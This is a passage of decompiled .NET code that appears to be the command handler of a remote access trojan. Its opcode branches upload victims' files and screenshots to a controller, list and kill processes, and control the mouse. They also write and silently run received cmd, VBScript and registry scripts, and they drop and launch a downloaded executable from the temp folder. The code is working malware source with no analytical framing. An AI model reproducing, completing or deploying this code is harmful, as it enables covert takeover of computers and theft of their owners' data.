{ - try - { - string s14 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path5 = API.DEB(ref s14); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s14 - }, (string[]) null, true, false); - File.Delete(path5); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - } - else if (Operators.CompareString(Left1, "#14", false) == 0) - { - IND.ER = 1; - Array Instance19 = Instance1; - object[] objArray34 = new object[1]; - object[] objArray35 = objArray34; - int num27 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num27; - objArray35[0] = (object) local; - object[] Arguments = objArray34; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments, (string[]) null)); - string Path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num27, - (object) s - }, (string[]) null, true, false); - FileSystem.MkDir(Path); - } - else if (Operators.CompareString(Left1, "#15", false) == 0) - { - IND.ER = 1; - int num28 = Instance1.Length - 1; - for (int index = 1; index <= num28; ++index) - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s - }, (string[]) null, true, false); - Array Instance20 = (Array) Strings.Split(Expression, "\r\n"); - if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"))) - Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - else - File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - } - } - else if (Operators.CompareString(Left1, "#16", false) == 0) - { - IND.ER = 1; - B b = MyProject.Forms.B; - string str48 = "#11" + IND.Y; - Array Instance21 = Instance1; - object[] objArray36 = new object[1]; - object[] objArray37 = objArray36; - int num29 = 1; - // ISSUE: variable of a boxed type - __Boxed local34 = (ValueType) num29; - objArray37[0] = (object) local34; - object[] Arguments = objArray36; - string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments, (string[]) null)); - string path = API.DEB(ref s15); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num29, - (object) s15 - }, (string[]) null, true, false); - string s16 = File.ReadAllText(path); - string str49 = API.ENB(ref s16); - string str50 = Conversions.ToString(Operators.ConcatenateObject((object) (str48 + str49 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - ref string local35 = ref str50; - b.SEND(ref local35); - } - else if (Operators.CompareString(Left1, "#17", false) == 0) - { - IND.ER = 1; - Array Instance22 = Instance1; - object[] objArray38 = new object[1]; - object[] objArray39 = objArray38; - int num30 = 1; - // ISSUE: variable of a boxed type - __Boxed local36 = (ValueType) num30; - objArray39[0] = (object) local36; - object[] Arguments9 = objArray38; - string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments9, (string[]) null)); - string path = API.DEB(ref s17); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num30, - (object) s17 - }, (string[]) null, true, false); - Array Instance23 = Instance1; - object[] objArray40 = new object[1]; - object[] objArray41 = objArray40; - int num31 = 2; - // ISSUE: variable of a boxed type - __Boxed local37 = (ValueType) num31; - objArray41[0] = (object) local37; - object[] Arguments10 = objArray40; - string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, Arguments10, (string[]) null)); - string contents = API.DEB(ref s18); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num31, - (object) s18 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - } - else if (Operators.CompareString(Left1, "#18", false) == 0) - { - IND.ER = 1; - Array Instance24 = Instance1; - object[] objArray42 = new object[1]; - object[] objArray43 = objArray42; - int num32 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num32; - objArray43[0] = (object) local; - object[] Arguments = objArray42; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num32, - (object) s - }, (string[]) null, true, false); - File.Create(path); - } - else if (Operators.CompareString(Left1, "#19", false) == 0) - { - IND.ER = 1; - MemoryStream memoryStream = new MemoryStream(); - int num33 = Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length + IND.Y.Length - 1; - int num34 = Da.Length - 1; - for (int index = num33; index <= num34; ++index) - memoryStream.WriteByte(Da[index]); - Array Instance25 = Instance1; - object[] objArray44 = new object[1]; - object[] objArray45 = objArray44; - int num35 = 1; - // ISSUE: variable of a boxed type - __Boxed local38 = (ValueType) num35; - objArray45[0] = (object) local38; - object[] Arguments = objArray44; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance25, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num35, - (object) s - }, (string[]) null, true, false); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local39 = ref flag; - byte[] bytes = API.ZIP(array, ref local39); - File.WriteAllBytes(path, bytes); - } - else if (Operators.CompareString(Left1, "#20", false) == 0) - { - IND.ER = 1; - Array Instance26 = Instance1; - object[] objArray46 = new object[1]; - object[] objArray47 = objArray46; - int num36 = 1; - // ISSUE: variable of a boxed type - __Boxed local40 = (ValueType) num36; - objArray47[0] = (object) local40; - object[] Arguments11 = objArray46; - string s19 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments11, (string[]) null)); - string Expression = API.DEB(ref s19); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num36, - (object) s19 - }, (string[]) null, true, false); - Array Instance27 = (Array) Strings.Split(Expression, "\\"); - MemoryStream memoryStream = new MemoryStream(); - byte[] buffer1 = (byte[]) NewLateBinding.LateGet((object) Encoding.Default, (System.Type) null, "GetBytes", new object[1] - { - Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#12" + IND.Y), NewLateBinding.LateIndexGet((object) Instance27, new object[1] - { - (object) (Instance27.Length - 1) - }, (string[]) null)), (object) IND.Y) - }, (string[]) null, (System.Type[]) null, (bool[]) null); - memoryStream.Write(buffer1, 0, buffer1.Length); - Array Instance28 = Instance1; - object[] objArray48 = new object[1]; - object[] objArray49 = objArray48; - int num37 = 1; - // ISSUE: variable of a boxed type - __Boxed local41 = (ValueType) num37; - objArray49[0] = (object) local41; - object[] Arguments12 = objArray48; - string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments12, (string[]) null)); - string path = API.DEB(ref s20); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num37, - (object) s20 - }, (string[]) null, true, false); - byte[] Byt = File.ReadAllBytes(path); - bool flag = true; - ref bool local42 = ref flag; - byte[] buffer2 = API.ZIP(Byt, ref local42); - memoryStream.Write(buffer2, 0, buffer2.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - memoryStream.Dispose(); - } - else if (Operators.CompareString(Left1, "#21", false) == 0) - { - IND.ER = 1; - int num38 = Instance1.Length - 1; - for (int index = 1; index <= num38; ++index) - { - Thread.Sleep(10); - string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string filename = API.DEB(ref s21); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s21 - }, (string[]) null, true, false); - new Bitmap(filename).Dispose(); - string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string Expression = API.DEB(ref s22); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s22 - }, (string[]) null, true, false); - Array Instance29 = (Array) Strings.Split(Expression, "\\"); - B b = MyProject.Forms.B; - string[] strArray8 = new string[5] - { - "#13", - IND.Y, - null, - null, - null - }; - string[] strArray9 = strArray8; - Array Instance30 = Instance29; - object[] objArray50 = new object[1]; - object[] objArray51 = objArray50; - int num39 = Instance29.Length - 1; - // ISSUE: variable of a boxed type - __Boxed local43 = (ValueType) num39; - objArray51[0] = (object) local43; - object[] Arguments = objArray50; - string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null)); - string str51 = API.ENB(ref s23); - NewLateBinding.LateIndexSetComplex((object) Instance29, new object[2] - { - (object) num39, - (object) s23 - }, (string[]) null, true, false); - strArray9[2] = str51; - strArray8[3] = IND.Y; - string[] strArray10 = strArray8; - string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path = API.DEB(ref s24); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s24 - }, (string[]) null, true, false); - string str52 = API.FEN(File.ReadAllBytes(path)); - strArray10[4] = str52; - string str53 = string.Concat(strArray8); - ref string local44 = ref str53; - b.SEND(ref local44); - } - } - else if (Operators.CompareString(Left1, "#22", false) == 0) - { - IND.ER = 1; - string str54; - foreach (Process process in Process.GetProcesses()) - { - try - { - str54 = str54 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - str54 = str54 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id); - ProjectData.ClearProjectError(); - } - } - B b = MyProject.Forms.B; - string str55 = "#14" + str54; - ref string local = ref str55; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#23", false) == 0) - { - IND.ER = 1; - int num40 = Instance1.Length - 1; - for (int index = 1; index <= num40; ++index) - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null))).Kill(); - } - else if (Operators.CompareString(Left1, "#24", false) == 0) - { - try - { - chat.clos = true; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - Array Instance31 = Instance1; - object[] objArray52 = new object[1]; - object[] objArray53 = objArray52; - int num41 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num41; - objArray53[0] = (object) local; - object[] Arguments = objArray52; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance31, Arguments, (string[]) null)); - string str56 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num41, - (object) s - }, (string[]) null, true, false); - B.Cht = str56; - } - else if (Operators.CompareString(Left1, "#25", false) == 0) - { - IND.ER = 0; - if (B.Chat.InvokeRequired) - { - IND.indd method = new IND.indd(IND.inddd); - Array Instance32 = Instance1; - object[] objArray54 = new object[1]; - object[] objArray55 = objArray54; - int num42 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num42; - objArray55[0] = (object) local; - object[] Arguments = objArray54; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null)); - string str57 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num42, - (object) s - }, (string[]) null, true, false); - string str58 = str57; - B.Chat.Invoke((Delegate) method, (object) str58); - } - else - { - RichTextBox t1 = B.Chat.T1; - RichTextBox richTextBox = t1; - string[] strArray11 = new string[5] - { - t1.Text, - MyProject.Forms.chat.nick, - " : ", - null, - null - }; - string[] strArray12 = strArray11; - Array Instance33 = Instance1; - object[] objArray56 = new object[1]; - object[] objArray57 = objArray56; - int num43 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num43; - objArray57[0] = (object) local; - object[] Arguments = objArray56; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null)); - string str59 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num43, - (object) s - }, (string[]) null, true, false); - strArray12[3] = str59; - strArray11[4] = "\r\n"; - string str60 = string.Concat(strArray11); - richTextBox.Text = str60; - } - } - else if (Operators.CompareString(Left1, "#26", false) == 0) - { - IND.ER = 0; - chat.clos = true; - } - else if (Operators.CompareString(Left1, "#27", false) == 0) - { - IND.ER = 1; - int num44 = 0; - string s25; - do - { - if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - try - { - FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num44; - } - while (num44 <= 9999); - string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().ToLower(); - if (Operators.CompareString(lower, "cmd", false) == 0) - { - string path = s25; - Array Instance34 = Instance1; - object[] objArray58 = new object[1]; - object[] objArray59 = objArray58; - int num45 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num45; - objArray59[0] = (object) local; - object[] Arguments = objArray58; - string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null)); - string contents = API.DEB(ref s26); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s26 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s25, AppWinStyle.Hide); - } - else if (Operators.CompareString(lower, "vbs", false) == 0) - { - string path = s25; - Array Instance35 = Instance1; - object[] objArray60 = new object[1]; - object[] objArray61 = objArray60; - int num46 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num46; - objArray61[0] = (object) local; - object[] Arguments = objArray60; - string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null)); - string contents = API.DEB(ref s27); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num46, - (object) s27 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s25); - } - else if (Operators.CompareString(lower, "Reg", false) == 0) - { - string path = s25; - Array Instance36 = Instance1; - object[] objArray62 = new object[1]; - object[] objArray63 = objArray62; - int num47 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num47; - objArray63[0] = (object) local; - object[] Arguments = objArray62; - string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null)); - string contents = API.DEB(ref s28); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num47, - (object) s28 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s25); - } - else - { - string path = s25; - Array Instance37 = Instance1; - object[] objArray64 = new object[1]; - object[] objArray65 = objArray64; - int num48 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num48; - objArray65[0] = (object) local; - object[] Arguments = objArray64; - string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null)); - string contents = API.DEB(ref s29); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num48, - (object) s29 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s25); - } - B b = MyProject.Forms.B; - string str61 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s25); - ref string local45 = ref str61; - b.SEND(ref local45); - } - else if (Operators.CompareString(Left1, "#28", false) == 0) - { - IND.ER = 1; - object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false)) - { - B b = MyProject.Forms.B; - string y = IND.Y; - ref byte[] local46 = ref C.Plug; - string str62 = "plugin.C"; - ref string local47 = ref str62; - string str63 = "W"; - ref string local48 = ref str63; - object obj = (object) new object[0]; - ref object local49 = ref obj; - string s = Conversions.ToString(C.inv(ref local46, ref local47, ref local48, ref local49)); - string str64 = API.ENB(ref s); - string str65 = "#17" + y + str64; - ref string local50 = ref str65; - b.SEND(ref local50); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false)) - { - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)); - ref byte[] local51 = ref C.Plug; - string str66 = "plugin.C"; - ref string local52 = ref str66; - string str67 = "CW"; - ref string local53 = ref str67; - object[] objArray66 = new object[2] - { - (object) integer, - null - }; - object[] objArray67 = objArray66; - Array Instance38 = Instance1; - object[] objArray68 = new object[1]; - object[] objArray69 = objArray68; - int num49 = 3; - // ISSUE: variable of a boxed type - __Boxed local54 = (ValueType) num49; - objArray69[0] = (object) local54; - object[] Arguments = objArray68; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null)); - string str68 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num49, - (object) s - }, (string[]) null, true, false); - objArray67[1] = (object) str68; - object obj = (object) objArray66; - ref object local55 = ref obj; - C.inv(ref local51, ref local52, ref local53, ref local55); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false)) - { - Array Instance39 = Instance1; - object[] objArray70 = new object[1]; - object[] objArray71 = objArray70; - int num50 = 2; - // ISSUE: variable of a boxed type - __Boxed local56 = (ValueType) num50; - objArray71[0] = (object) local56; - object[] Arguments13 = objArray70; - int integer1 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance39, Arguments13, (string[]) null)); - ref int local57 = ref integer1; - Array Instance40 = Instance1; - object[] objArray72 = new object[1]; - object[] objArray73 = objArray72; - int num51 = 3; - // ISSUE: variable of a boxed type - __Boxed local58 = (ValueType) num51; - objArray73[0] = (object) local58; - object[] Arguments14 = objArray72; - int integer2 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance40, Arguments14, (string[]) null)); - ref int local59 = ref integer2; - API.wd.G(ref local57, ref local59); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num51, - (object) integer2 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num50, - (object) integer1 - }, (string[]) null, true, false); - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false)) - return; - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance41 = Instance1; - object[] objArray74 = new object[1]; - object[] objArray75 = objArray74; - int num52 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num52; - objArray75[0] = (object) local; - object[] Arguments = objArray74; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments, (string[]) null)); - Image image = C.Capture(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num52, - (object) integer - }, (string[]) null, true, false); - MemoryStream memoryStream2 = memoryStream1; - ImageFormat jpeg = ImageFormat.Jpeg; - image.Save((Stream) memoryStream2, jpeg); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length); - memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length); - MyProject.Forms.B.WC.SendData(memoryStream3.ToArray()); - memoryStream1.Dispose(); - memoryStream3.Dispose(); - MyProject.Forms.B = (B) null; - } - } - else if (Operators.CompareString(Left1, "#29", false) == 0) - { - IND.ER = 0; - B b = MyProject.Forms.B; - string str69 = "#Bla"; - ref string local60 = ref str69; - b.SEND(ref local60); - int num53 = 0; - string str70; - while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe")) - { - try - { - File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"); - str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"; - goto label_259; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num53; - if (num53 > 999) - goto label_259; - } - str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"; -label_259: - string path = str70; - byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local61 = ref flag; - byte[] bytes = API.ZIP(Byt, ref local61); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str70, - Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#30", false) == 0) - { - try - { - Array Instance42 = Instance1; - object[] objArray76 = new object[1]; - object[] objArray77 = objArray76; - int num54 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num54; - objArray77[0] = (object) local; - object[] Arguments = objArray76; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num54, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#31", false) == 0) - { - IND.ER = 0; - if (B.Busy) - return; - B.Busy = true; - B b = MyProject.Forms.B; - string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height); - ref string local = ref str71; - b.SEND(ref local); - B.Busy = false; - } - else if (Operators.CompareString(Left1, "#32", false) == 0) - { - IND.ER = 0; - Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false)) - { - IND.mouse_event(8, 0, 0, 0, 1); - IND.mouse_event(16, 0, 0, 0, 1); - } - else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false)) - { - IND.mouse_event(2, 0, 0, 0, 1); - IND.mouse_event(4, 0, 0, 0, 1); - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false)) - return; - IND.mouse_event(2, 0, 0, 0, 1); - IND.mouse_event(4, 0, 0, 0, 1); - IND.mouse_event(2, 0, 0, 0, 1); - IND.mouse_event(4, 0, 0, 0, 1); - } - } - else if (Operators.CompareString(Left1, "#33", false) == 0) - { - B b = MyProject.Forms.B; - string str72 = "#5" + IND.Y + API.Gt(); - ref string local = ref str72; - b.SEND(ref local); - } - else - { - if (Operators.CompareString(Left1, "#34", false) != 0) - return; - IND.ER = 0; - Array Instance43 = Instance1; - object[] objArray78 = new object[1]; - object[] objArray79 = objArray78; - int num55 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num55; - objArray79[0] = (object) local; - object[] Arguments = objArray78; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null)); - byte[] numArray = C.Capture1(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num55, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - return; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - catch (Exception ex) - { - int lErl = num1; - ProjectData.SetProjectError(ex, lErl); - Exception exception = ex; - B.Busy = false; - B b = MyProject.Forms.B; - string[] strArray13 = new string[6] - { - "#10", - IND.Y, - "^", - Conversions.ToString(IND.ER), - IND.Y, - null - }; - string[] strArray14 = strArray13; - string message = exception.Message; - string str73 = API.ENB(ref message); - strArray14[5] = str73; - string str74 = string.Concat(strArray13); - ref string local = ref str74; - b.SEND(ref local); - IND.ER = 0; - ProjectData.ClearProjectError(); - } - } - - public static string siz(string Size) - { - if (Size.Length < 4) - return Size + " Bytes"; - string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0); - string str2 = " KB"; - int integer; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " MB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " GB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - return str1 + "." + Conversions.ToString(integer) + str2; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void mouse_event( - int dwFlags, - int dx, - int dy, - int cButtons, - int dwExtraInfo); - - public static byte[] SB(ref string s, ref byte[] B) - { - MemoryStream 